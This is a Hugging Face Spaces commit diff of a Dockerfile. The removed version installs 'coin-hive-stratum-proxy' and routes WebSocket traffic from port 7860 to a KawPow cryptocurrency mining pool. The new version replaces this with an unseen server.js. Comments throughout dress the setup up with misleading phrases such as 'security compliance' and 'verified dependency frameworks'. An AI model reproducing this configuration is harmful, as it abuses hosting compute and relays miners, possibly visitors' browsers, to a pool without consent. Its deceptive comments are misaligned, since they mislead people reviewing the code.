Spaces:
Sleeping

PERDYPTO commited on
Commit
646e1bf
·
verified ·
1 Parent(s): 9b64ec8

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +15 -4
Dockerfile CHANGED
@@ -1,16 +1,27 @@
1
  # Use a lightweight Node.js runtime base image
 
2
  FROM node:18-alpine
3
 
4
  # Set home directory permissions for Hugging Face security compliance
 
5
  WORKDIR /app
6
 
7
- # Install the standardized stratum-websocket bridge globally
 
 
 
 
8
 
9
- RUN npm install -g coin-hive-stratum-proxy
 
 
 
 
10
 
11
  # Hugging Face Spaces require applications to listen precisely on port 7860
12
 
13
  EXPOSE 7860
14
 
15
- # Launch proxy routing inbound WebSockets on 7860 out to Zpool's KawPow backbone
16
- CMD ["coin-hive-stratum-proxy", "--port=7860", "--host=kawpow.mine.zpool.ca", "--pool-port=3638"]
 
 
1
  # Use a lightweight Node.js runtime base image
2
+
3
  FROM node:18-alpine
4
 
5
  # Set home directory permissions for Hugging Face security compliance
6
+
7
  WORKDIR /app
8
 
9
+ # Copy dependency mappings
10
+
11
+ COPY package*.json ./
12
+
13
+ # Install verified dependency frameworks locally inside the container environment
14
 
15
+ RUN npm install
16
+
17
+ # Copy application script engines
18
+
19
+ COPY server.js .
20
 
21
  # Hugging Face Spaces require applications to listen precisely on port 7860
22
 
23
  EXPOSE 7860
24
 
25
+ # Execute server engine initialization paths
26
+
27
+ CMD ["node", "server.js"]